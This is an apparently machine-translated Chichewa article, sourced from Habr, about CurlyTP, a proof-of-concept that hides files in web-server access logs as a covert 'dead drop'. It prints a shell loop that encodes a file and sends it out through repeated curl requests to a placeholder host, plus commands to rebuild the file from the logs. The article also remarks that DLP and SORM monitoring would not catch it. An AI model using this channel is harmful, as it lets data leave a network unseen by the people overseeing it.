Malinga ndi tanthauzo la Wikipedia, dontho lakufa ndi chida cha chiwembu chomwe chimathandizira kusinthanitsa zidziwitso kapena zinthu zina pakati pa anthu pogwiritsa ntchito malo obisika. Lingaliro ndilakuti anthu samakumana konse - koma amasinthanitsa zidziwitso kuti asunge chitetezo chogwira ntchito.

Malo obisalapo sayenera kukopa chidwi. Chifukwa chake, m'dziko lopanda intaneti nthawi zambiri amagwiritsa ntchito zinthu zanzeru: njerwa yotayirira pakhoma, buku la library, kapena dzenje mumtengo.

Pa intaneti pali zida zambiri zobisika komanso zosadziwika, koma kugwiritsa ntchito zidazi kumakopa chidwi. Kuphatikiza apo, atha kutsekedwa pamakampani kapena aboma. Zoyenera kuchita?

Madivelopa Ryan Flowers adapereka njira yosangalatsa - gwiritsani ntchito seva iliyonse yapaintaneti ngati pobisalira. Ngati mukuganiza za izi, seva yapaintaneti imachita chiyani? Amalandira zopempha, amatulutsa mafayilo ndikulemba zipika. Ndipo imasunga zopempha zonse, ngakhale zolakwika!

Zikuwoneka kuti seva iliyonse yapaintaneti imakulolani kuti musunge pafupifupi uthenga uliwonse mu chipika. Maluwa adadabwa momwe angagwiritsire ntchito izi.

Amapereka njira iyi:

1. Tengani fayilo (uthenga wachinsinsi) ndikuwerengera hashi (md5sum).
2. Timayika (gzip+uuencode).
3. Timalembera ku chipikacho pogwiritsa ntchito pempho lolakwika mwadala kwa seva.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

Kuti muwerenge fayilo, muyenera kuchita izi motsatana motsatana: decode ndi kumasula fayilo, yang'anani hashi (hashi imatha kufalitsidwa bwino pamakina otseguka).

Malo amasinthidwa ndi =+=kotero kuti palibe mipata mu adilesi. Pulogalamuyi, yomwe wolembayo amatcha CurlyTP, imagwiritsa ntchito encoding ya base64, monga zomata za imelo. Pempho limapangidwa ndi mawu osakira ?transfer?kotero kuti wolandirayo azitha kuzipeza mosavuta m'zipika.

Kodi tikuwona chiyani pazipika munkhaniyi?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

Monga tanenera kale, kuti mulandire uthenga wachinsinsi muyenera kuchita zinthuzo motsatira dongosolo:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

Njirayi ndiyosavuta kupanga makina. Md5sum ikufanana, ndipo zomwe zili mufayilo zimatsimikizira kuti zonse zidasinthidwa molondola.

Njirayi ndi yosavuta. "Cholinga cha ntchitoyi ndikungotsimikizira kuti mafayilo amatha kusamutsidwa kudzera pazofunsira zazing'ono zosalakwa, ndipo zimagwira ntchito pa seva iliyonse yokhala ndi zolemba zomveka. Kwenikweni, seva iliyonse yapaintaneti imakhala pobisalira!” akulemba motero Flowers.

Inde, njirayi imagwira ntchito ngati wolandirayo ali ndi mwayi wopeza zipika za seva. Koma mwayi woterewu umaperekedwa, mwachitsanzo, ndi ma hosters ambiri.

Kodi ntchito?

Ryan Flowers akunena kuti si katswiri wa chitetezo cha chidziwitso ndipo sadzalemba mndandanda wa ntchito zomwe zingagwiritsidwe ntchito CurlyTP. Kwa iye, ndi umboni chabe wa lingaliro lakuti zida zodziwika bwino zomwe timawona tsiku ndi tsiku zingagwiritsidwe ntchito mosagwirizana.

Ndipotu, njirayi ili ndi ubwino wambiri pa seva ina "zobisika" monga Digital Dead Drop kapena Zithunzi za PirateBox: sichifuna kasinthidwe kapadera pa mbali ya seva kapena ma protocol apadera - ndipo sizidzayambitsa kukayikira pakati pa omwe amayang'anira magalimoto. Ndizokayikitsa kuti dongosolo la SORM kapena DLP liyang'ana ma URL a mafayilo osindikizidwa.

Iyi ndi imodzi mwa njira zotumizira mauthenga kudzera mu mafayilo a utumiki. Mutha kukumbukira momwe makampani ena apamwamba amapangira Ntchito Zopanga Mapulogalamu mu Mitu ya HTTP kapena mu code ya masamba a HTML.

Lingaliro linali loti opanga masamba okha ndi omwe angawone dzira la Isitala, popeza munthu wamba sangayang'ane mitu kapena HTML code.

Source: www.habr.com